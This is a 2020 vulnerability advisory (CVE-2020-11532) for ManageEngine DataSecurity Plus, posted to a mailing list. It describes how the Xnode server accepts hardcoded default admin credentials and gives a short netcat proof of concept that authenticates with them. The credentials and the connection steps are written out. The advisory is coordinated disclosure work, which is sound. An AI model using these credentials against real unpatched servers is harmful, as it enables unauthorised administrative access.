# DataSecurity Plus Xnode Server - Authentication Bypass

*From*: xen1thLabs <xen1thLabs () digital14 com>
*Date*: Tue, 5 May 2020 16:50:32 +0000

```
XL-2020-002 - DataSecurity Plus Xnode Server - Authentication Bypass

================================================================================


Identifiers

-------------------------------------------------

* CVE-2020-11532

* XL-20-002


CVSSv3 score

-------------------------------------------------

9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)


Vendor

-------------------------------------------------

ManageEngine - [https://www.manageengine.com/data-security/](https://www.manageengine.com/data-security/)


Product

-------------------------------------------------

ManageEngine DataSecurity Plus is a two-pronged solution for fighting insider threats, preventing data loss, and
meeting compliance requirements. It provides realtime monitoring of filesystem there by help in maintaining the file
integrity and combating against ransomeware attacks using automated threat response mechanisms. It comes with the
features such as File Server Audting, Data Leak Prevention and Data Risk assessment.


Affected products

-------------------------------------------------

- All DataSecurity Plus versions prior to 6.0.1 (6011)

-  All ADAudit Plus versions prior to 6.0.3 (6032)


Credit

-------------------------------------------------

Sahil Dhar - xen1thLabs - Software Labs


Vulnerability summary

-------------------------------------------------

ManageEngine DataSecurity Plus application uses default admin credentials to communicate with Dataengine Xnode server.
This allows an attacker to bypass authentication for Dataengine Xnode server and execute all operations in the context
of admin user. Combining this vulnerability with the Path Traversal vulnerability, an **unauthenticated** attacker can
execute code in the context of DataSecurity Plus application.


Technical details

-------------------------------------------------

In order to communicate with the Dataengine Xnode server, the application first initializes the `DE` class at line:31
of `DataEngineService.java` from `dataengine-controller.jar` package and calls the `build()` function of `DE` class
object at line:41 .


```java

29: public DataEngineService() throws Exception {

30:  DE.initialize();

31:  com.manageengine.dataengine.controller.DE.plugins.deAdminActions = DspDEAdminActions.class;

32:  com.manageengine.dataengine.controller.DE.plugins.xnodeCtlrDataRepositoryActions =
XNodeCtlrDataRepositoryActions.class;

33:  com.manageengine.dataengine.controller.DE.plugins.elasticCtlrDataRepositoryActions =
ElasticCtlrDataRepositoryActions.class;

34:  com.manageengine.dataengine.controller.DE.plugins.xnodeReportViewActions = XNodeReportViewActions.class;

35:  com.manageengine.dataengine.controller.DE.plugins.elasticReportViewActions = ElasticReportViewActions.class;

36:  com.manageengine.dataengine.controller.DE.plugins.xnodeQueryConsoleViewActions =
XNodeQueryConsoleViewActions.class;

37:  com.manageengine.dataengine.controller.DE.plugins.elasticQueryConsoleViewActions =
ElasticQueryConsoleViewActions.class;

38:  com.manageengine.dataengine.controller.DE.plugins.deLegacyViewHandler =

39:   DspDELegacyViewHandler.class;

40:  com.manageengine.dataengine.controller.DE.plugins.drGeneralQueryParser = DspDRGeneralQueryParser.class;

41:  DE.build();
```
```

```
42:  controller = DE.controller();

43: }
```

The `initialize` method of `DE` class is responsible for loading the configuration values from `dataengine-xnode.conf` file from the file system at line:45 by calling the `initialize()` method of AdapEnvironment class of `DE.java`. At line:60, the `build()` function intializes the `XNodeController` class.

```java
42: public static void initialize()

43: throws Exception {

44:  AdapEnvironment.initialize();

45:  engineType = (String) AdapEnvironment.DE_ENGINE.value();

46: }

47: public static void build() throws Exception {

48:   if ((engineType != null) && (engineType.equalsIgnoreCase("xnode"))) {

49:    if (plugins.xnodeCtlrDataRepositoryActions == null) {

50:     throw new Exception("xnodeCtlrDataRepositoryActions plugin not

51:      set!");

52:     }

53:     if (plugins.xnodeReportViewActions == null) {

54:      throw new Exception("xnodeReportViewActions plugin not set!");

55:     }

56:     if (plugins.xnodeQueryConsoleViewActions == null) {

57:      throw new Exception("xnodeQueryConsoleViewActions plugin not

58:       set!");

59:      }

60:      dataEngineController = new XNodeController();
```

The `XNodeController` class loads the default configuration values into a `propFileHandler` object which is internally passed to `build()` function of XNode class at line:28 and 32 of `XNodeController.java`.

```java
22: public XNodeController()

23: throws Exception {

24:  if (!((Path) AdapEnvironment.DE_E_CONF_FILE.value()).toFile().exists()) {

25:   throw new FileNotFoundException("EXCEPTION : " +

26:    AdapEnvironment.DE_E_CONF_FILE.value() + " file not found!");

27:  }

28:  PropertiesFileUtil.PropertiesFileHandle propFileHandler =

29:   PropertiesFileUtil.getPropertiesFileHandle(((Path) AdapEnvironment.DE_E_CONF_FILE.value()).toAbsolutePath().toString(), false);

30:  xnodes = new XNodes();

31:  int nodeCount = propFileHandler.getInt("xnodes.count",

32:   Integer.valueOf(1)).intValue();

33:  for (int i = 1; i <= nodeCount; i++) {

34:   xnodes.addNode(propFileHandler, i);
```

**Contents of dataengine-xnode.conf file**

```
1:xnode.connector.port = 29119

2:xnode.connector.username = atom

3:xnode.connector.password = chegan

4:xnode.connector.tcp.json_decode_size_mb = 20

5:xnode.db.store.dbname = store

6:xnode.db.store.dbadapter = hsqldb

7:xnode.db.store.username =

8:xnode.db.store.password =

9:xnode.dr.archive.zip_password =
```

In the following code snippet at line:238 and 239 of `XNode.java`, we can confirm that the application uses default admin credentials for communicating with Dataengine Xnode server.

```java
231: public static XNode build(PropertiesFileUtil.PropertiesFileHandle propFileHandler, int index) {

232:   XNodeSettings settings = new XNodeSettings();

233:   xnode_host.set(propFileHandler.getString(index + "." + "xnode.host", (String) xnode_host.getDefaultValue()));

234:   xnode_location.set(propFileHandler.getString(index + "." + "xnode.location", (String) xnode_location.getDefaultValue()));

235:   xnode_service_name.set(propFileHandler.getString(index + "." + "xnode.service_name", (String)
```

```
xnode_service_name.getDefaultValue()));

236:   xnode_connector_type.set(propFileHandler.getString(index + "." + "xnode.connector.type", (String)
xnode_connector_type.getDefaultValue()));

237:   xnode_connector_port.set(propFileHandler.getInt(index + "." + "xnode.connector.port", (Integer)
xnode_connector_port.getDefaultValue()));

238:   xnode_connector_username.set(propFileHandler.getString(index + "." + "xnode.connector.username", (String)
xnode_connector_username.getDefaultValue()));

239:   xnode_connector_password.set(propFileHandler.getString(index + "." + "xnode.connector.password", (String)
xnode_connector_password.getDefaultValue()));
```


Proof of concept

---

As can be seen, one can use the default admin credentials to bypass authentication for Dataengine Xnode server.


```

#~ nc 192.168.56.108 29119

{"username":"atom","password":"chegan","request_timeout":10,"action":"session:/authenticate"}

{"response":{"status":"authentication_success"},"request_id":-1}

{"action":"admin:/health","de_health":true, "request_id":1}

{"response":{"de_health":"GREEN"},"request_id":1}
```


Solution

---

Update the latest stable version.


Timeline

---

| Date | Status |
|---|---|
| 04-MAR-2020 | Reported to vendor |
| 13-MAR-2020 | Patch available |
| 05-MAY-2020 | Public disclosure |



---



**Current thread:**

**DataSecurity Plus Xnode Server - Authentication Bypass** ***xen1thLabs (May 08)***